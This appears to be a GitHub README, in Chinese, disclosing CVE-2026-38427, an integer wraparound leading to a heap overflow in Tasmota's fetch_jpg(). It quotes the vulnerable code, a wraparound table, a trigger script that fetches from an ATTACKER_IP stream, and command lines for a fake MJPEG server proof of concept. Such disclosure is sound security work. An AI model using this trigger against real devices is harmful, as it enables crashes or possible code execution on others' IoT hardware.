sermikr0/CVE-2026-38427
GitHub: sermikr0/CVE-2026-38427
该项目披露并复现了 Tasmota 固件 `fetch_jpg()` 函数中因 `uint16_t` 整数回绕导致的严重堆缓冲区溢出漏洞(CVSS 9.8),并提供了完整的 PoC 脚本。
Stars: 0 | Forks: 0
# CVE-2026-38427:Tasmota fetch_jpg() 中的整数回绕 → 堆缓冲区溢出
**CVE:** CVE-2026-38427
**严重程度:** 严重 (CVSS 9.8)
**产品:** Arendst Tasmota
**受影响版本:** <= 15.3.0.3
**文件:** `tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino`
**函数:** `fetch_jpg()` — case 2 (MJPEG 帧获取)
**作者:** Saidakbarxon Maxsudxonov
**披露:** 负责任的 —— 发布前已报告给 Tasmota
## 摘要
Tasmota 的 scripter 驱动程序的 `fetch_jpg()` 函数中存在 `uint16_t` 整数回绕漏洞。当 Tasmota 设备从攻击者控制的服务器获取 MJPEG 帧时,`Content-Length` 标头值会通过 `atoi()` 读取到 `uint16_t` 变量中。大于 65535 的值会静默回绕(例如,65537 → 1),导致分配严重过小的堆缓冲区。随后设备仅从流中读取回绕后的字节数,将剩余部分留在流缓冲区中,导致堆/流状态损坏,进而引发崩溃 (DoS) 或潜在的远程代码执行。
## 漏洞代码
```
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
```
## 整数回绕表
| Content-Length (标头) | uint16_t 值 | 分配的缓冲区 | 未读字节 |
|------------------------|---------------|-----------------|-------------|
| 65536 | 0 | 0 (跳过) | 65536 |
| 65537 | 1 | 1 字节 | 65536 |
| 70000 | 4464 | 4464 字节 | 65536 |
| 131072 | 0 | 0 (跳过) | 131072 |
## 攻击场景
攻击者如果能诱使 Tasmota 设备连接到其 HTTP 服务器(通过恶意的 Tasmota 脚本或 MITM),就可以发送 `Content-Length` 值超过 65535 的 MJPEG 帧。该设备将会:
1. 分配一个小缓冲区(回绕后的值)
2. 仅读取部分数据
3. 留下剩余字节,破坏 HTTP/WiFi 流状态
4. 崩溃或表现出导致潜在 RCE 的未定义行为
**通过 Tasmota 脚本触发:**
```
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
```
## 概念验证 (PoC)
该 PoC 运行了一个伪造的 MJPEG HTTP 服务器,用于发送带有恶意 `Content-Length` 值的帧:
```
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
```
完整实现请参见 [CVE-2026-38427_poc.py](CVE-2026-38427_poc.py)。
## 影响
- **机密性:** 高(在 ESP32 上可能发生 RCE)
- **完整性:** 高
- **可用性:** 高(必然崩溃/重启)
- **攻击向量:** 网络
- **身份验证:** 无需认证(设备必须被脚本化为连接到攻击者服务器)
## 时间线
- **2026-03-29:** 发现漏洞并报告给 MITRE
- **2026-03-29:** 分配了 CVE-2026-38427
- **2026-05-xx:** Tasmota 发布补丁 (v15.3.0.4+)
## 参考
- [Tasmota GitHub](https://github.com/arendst/Tasmota)
- [xdrv_10_scripter.ino](https://github.com/arendst/Tasmota/blob/development/tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino)
- CVE-2026-38427
标签:CVE-2026-38427, IoT固件, Tasmota, 内存破坏, 整数溢出, 漏洞分析, 路径探测, 逆向工具